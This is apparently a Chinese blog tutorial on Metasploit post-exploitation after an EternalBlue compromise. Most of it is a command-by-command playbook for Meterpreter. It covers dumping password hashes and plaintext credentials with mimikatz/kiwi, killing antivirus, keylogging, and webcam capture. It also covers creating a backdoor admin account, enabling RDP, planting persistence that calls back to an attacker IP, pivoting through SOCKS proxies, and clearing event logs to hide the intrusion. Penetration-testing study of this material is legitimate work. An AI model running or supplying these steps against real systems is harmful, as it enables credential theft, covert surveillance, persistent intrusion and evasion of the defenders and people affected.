• Metasploit简单使用——后渗透阶段


    在上文中我们复现了永恒之蓝漏洞,这里我们学习一下利用msf简单的后渗透阶段的知识/

    一、meterperter常用命令

                               sysinfo             #查看目标主机系统信息
    run scraper         #查看目标主机详细信息
    run hashdump        #导出密码的哈希
    load kiwi           #加载mimikatz
    ps                  #查看目标主机进程信息
    pwd                 #查看目标当前目录(windows)
    getlwd              #查看目标当前目录(Linux)
    search -f *.jsp -  d e:                #搜索E盘中所有以.jsp为后缀的文件
    download  e:	est.txt  /root          #将目标机的e:	est.txt文件下载到/  root目录下
    upload    /root/test.txt d:	est      #将/root/  test.txt上传到目标机的 d:	est 目录下
    getpid              #查看当前Meterpreter Shell的进程PID
    migrate 1384  #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
    idletime            #查看主机运行时间
    getuid              #查看获取的当前权限
    getsystem           #提权
    run killav/run post/windows/manage/killav         #关闭杀毒软件
    screenshot          #截图
    webcam_list         #查看目标主机的摄像头
    webcam_snap         #拍照
    webcam_stream       #开视频
    execute  参数  -  f 可执行文件   #执行可执行程序
    run getgui -u hack -p 123  #创建hack用户,密码为123
    run getgui -  e                #开启远程桌面
    keyscan_start                #开启键盘记录功能
    keyscan_dump                 #显示捕捉到的键盘记录信息
    keyscan_stop                 #停止键盘记录功能
    uictl  disable  keyboard     #禁止目标使用键盘
    uictl  enable   keyboard     #允许目标使用键盘
    uictl  disable  mouse        #禁止目标使用鼠标
    uictl  enable   mouse        #允许目标使用鼠标
    load                         #使用扩展库
    run                     #使用扩展库
     
    run persistence -X -i 5 -p 8888 -r 192.168.1.114        #反弹时间间隔是5s 会自动连接192.168  .1.114的4444端口,缺点是容易被杀毒软件查杀
    portfwd add -l 3389 -r 192.168.11.13 -p 3389     #将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11  .13是获取权限的主机的ip地址
    clearev                       #清除日志           

     二、Post 后渗透模块

    该模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。

                              run post/windows/manage/  migrate           #自动进程迁移
    run post  /windows/gather/  checkvm           #查看目标主机是否运行在虚拟机上
    run post  /windows/manage/  killav            #关闭杀毒软件
    run post  /windows/manage/  enable_rdp        #开启远程桌面服务
    run post  /windows/manage/  autoroute         #查看路由信息
    run post  /windows/gather/  enum_logged_on_users    #列举当前登录的用户
    run post  /windows/gather/  enum_applications       #列举应用程序
    run windows  /gather/credentials/  windows_autologin #抓取自动登录的用户名和密码
    run windows  /gather/smart_hashdump               #dump出所有用户的hash
                            

    三、常用的命令

    访问文件系统

    Meterpreter支持非常多的文件系统命令(基本跟Linux系统命令类似),一些常用命令如下:

                               cd:切换目标目录;
    
    cat:读取文件内容;
    
    rm:删除文件;
    
    edit:使用vim编辑文件
    
    ls:获取当前目录下的文件;
    
    mkdir:新建目录;
    
    rmdir:删除目录;  

    上传/下载文件

                               download  file 命令可以帮助我们从目标系统中下载文件
    
    upload  file  命令则能够向目标系统上传文件。  

    权限提升

    有的时候,你可能会发现自己的 Meterpreter 会话受到了用户权限的限制,而这将会严重影响你在目标系统中的活动。比如说,修改注册表、安装后门或导出密码等活动都需要提升用户权限,而Meterpreter给我们提供了一个   getsystem  命令,它可以使用多种技术在目标系统中实现提权:

    getuid    命令可以获取当前用户的信息,可以看到,当我们使用 getsystem进行提权后,用户身材为  NT AUTHORITYSYSTEM ,这个也就是Windows的系统权限。

    注: 执行getsystem命令后,会显示错误,但是其实已经运行成功了!

    获取密码(管理员权限)

    1. run hashdump

    2. run windows/gather/smart_hashdump

    3. 自己上传mimikatz

    4. load kiwi——creds all

    5. load mimikatz:①32位系统直接加载模块 mimikatz_command -f sekurlsa::searchPasswords

                                  ②64位系统先迁移meterpreter到64位的进程中,再加载模块

    1、很多用户习惯将计算机设置自动登录,可以使用   run windows/gather/credentials/windows_autologin  抓取自动登录的用户名和密码

     2、hashdump 模块可以从SAM数据库中导出本地用户账号,执行:run hashdump  ,该命令的使用需要 系统权限

     还可以使用命令:run windows/gather/smart_hashdump   ,,该命令的使用需要 系统权限, 该功能更强大,可以导出域内所有用户的hash

     3、我们还可以通过上传mimikatz程序,然后执行mimikatz程序来获取明文密码。

     执行mimikatz必须 System权限 

     我们先getsystem提权至系统权限,然后执行   execute  -i  -f  mimikatz.exe  ,进入mimikatz的交互界面。然后执行:

                               privilege::debug
    
    sekurlsa::logonpasswords  

    4、加载kiwi模块,该模块的使用需要 System权限 ,load kiwi   查看该kiwi模块的用法:help kiwi

    5、或者运行MSF里面自带的 mimikatz 模块 ,该模块的使用需要 System权限 。传送门:MSF中mimikatz模块的使用

    运行程序

    使用   execute  命令在目标系统中执行应用程序。这个命令的使用方法如下:

                              execute  参数  -f 可执行文件  
                            

    运行后它将执行所指定的命令。可选参数如下:

                              -  f:指定可执行文件  -  H:创建一个隐藏进程  -  a:传递给命令的参数  -  i:  跟进程进行交互  -  m:从内存中执行  -  t: 使用当前伪造的线程令牌运行进程  -s: 在给定会话中执行进程
                            

    创建一个新账号

    先查看目标主机有哪些用户:run post/windows/gather/enum_logged_on_users

     接下来,我们可以在目标系统中创建一个新的用户账号:run getgui -u hack -p 123,这个命令会创建用户,并把他添加到 Administrators 组中,这样该用户就拥有远程桌面的权限了。

     我们可以看到,这里成功创建了用户,但是添加到Administrators组中失败了 。我们可以运行:shell ,进行cmd窗口手动将该用户添加到administrators组中。

      

    启用远程桌面

    当我们新添加的用户已经拥有远程桌面之后,我们就可以使用这个账号凭证来开启远程桌面会话了。

     首先,我们需要确保目标Windows设备开启了远程桌面功能(需要开启多个服务),不过我们的 getgui 脚本可以帮我们搞定。我们可以使用-e参数确保目标设备开启了远程桌面功能(重启之后同样会自动开启),我们输入: run getgui -e   或者  run post/windows/manage/enable_rdp

     在开启远程桌面会话之前,我们还需要使用“idletime”命令检查远程用户的空闲时长: idletime

      

    进程迁移

    Meterpreter 既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。

    在下面的例子中,我们会将Meterpreter跟 winlogon.exe 绑定,并在登录进程中捕获键盘记录,以获得用户的密码。

    首先,我们需要使用: ps  命令查看目标设备中运行的进程:

     使用:migrate   目标进程ID  命令来绑定目标进程id,这里绑定目标pid的时候,经常会断了 shell。进程迁移后会自动关闭原来进程,没有关闭可使用   kill  pid   命令关闭进程。或者使用自动迁移进程( run post/windows/manage/migrate )命令,系统会自动寻找合适的进程然后迁移。

     绑定完成之后,我们就可以开始捕获键盘数据了。

    生成持续性后门

    因为 meterpreter 是基于内存DLL建立的连接,所以,只要目标主机关机,我们的连接就会断。总不可能我们每次想连接的时候,每次都去攻击,然后再利用 meterpreter 建立连接。所以,我们得在目标主机系统内留下一个持续性的后门,只要目标主机开机了,我们就可以连接到该主机。

    建立持续性后门有两种方法,一种是通过 启动项启动(persistence) , 一种是通过   服务启动(metsvc)

    启动项启动

    启动项启动的话,我们先生成一个后门工具,传送门——> 用MSF生成一个后门木马

    然后放到windows的启动目录中:

                              C:Users$username$AppDataRoamingMicrosoftWindowsStart MenuProgramsStartup
                            

    这样这个后门每次开机就都能启动了,然后我们只要相连就监听相应的端口就行了。

    服务启动

    通过服务启动,我们可以运行命令 

                              run persistence -X -i  5  -p  8888  -r  192.168  .1  .114  #反弹时间间隔是5s 会自动连接192.  168   .1.114的4444端口,缺点是容易被杀毒软件查杀
     
    #然后它就在目标机新建了这个文件:C:WindowsTEMPCJzhFlNOWa.vbs ,并把该服务加入了注册表中,只要开机就会启  

    设置Socks代理

    这里socks模块只是将代理设置为本地的1080端口,即通过proxychains的流量都转给本地的1080端口,又因为这是MSF起的监听端口。所以我们需要添加一个路由,这样MSF监听的1080端口就可以到达内网了。

    MSF中有三个代理模块,分别是socks4a、socks5、socks_unc。我们一般用 socks4a和socks5进行代理。socks5可以设置用户名和密码。这里运行代理后,有时候MSF不会监听端口(有可能是个bug,试了好多次都有这种情况),所以也就导致代理失败。

                               #使用socks4a代理
    use auxiliary  /server/  socks5
    run
     
    #使用socks5代理
    use auxiliary  /server/  socks5   set   USERNAME root   set   PASSWORD Password@
    run
     
    #然后打开  /etc/  proxychains.conf,加入下面一行
    socks5   0.0  .  0.0   1080   root Password@
     
    #然后添加路由
    route add   0.0  .  0.0   0.0  .  0.0   1   #然后就可以使用curl了
    proxychains nmap  -p  21  -Pn -sT x.x.x.x     #在打开其他程序前加上proxychains
                            

    portfwd端口转发

                              portfwd add -l  3389  -r  192.168  .  1.114  -p  3389  #将192.  168.1.114  的3389端口转发到本地的3389端口上,这里的192.  168.1.114  是获取权限的主机的ip地址
                            

    portfwd 是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地,并且监听。

    然后我们只要访问本地的3389端口就可以连接到目标主机的3389端口了

                              rdesktop  127.0  .  0.1  :  3389  

    清除事件日志

    完成攻击操作之后,千万别忘了“打扫战场”。我们的所有操作都会被记录在目标系统的日志文件之中,因此我们需要在完成攻击之后使用命令   clearev  命令来清除事件日志:

    导入并执行PowerShell脚本

                               load powershell            #加载powershell功能
    powershell_import  /root/  PowerView.ps1      #导入powershell脚本,提前将该powershell脚本放到指定目录
    powershell_execute Get  -NetDomain     #执行该脚本下的功能模块Get-  domain,该模块用于获取域信息,一个脚本下通常有多个功能模块
    powershell_execute Invoke  -  UserHunter  #该功能模块用于定位域管理员登录的主机
    powershell_execute Get  -NetForest      #该模块用于定位域信息
                            

    如果powershell脚本是用于域内信息收集的,则获取到的权限用户需要是域用户.

  • 相关阅读:
    第七次作业
    rfid工作原理
    实验九——基本数据类型存储及应用总结
    实验八——函数定义及调用总结
    实验七——函数定义及调用总结
    作业
    作业
    作业
    开始
    实验12——指针的基础应用2
  • 原文地址:https://www.cnblogs.com/huilixieqi/p/13793532.html
Copyright © 2020-2023  润新知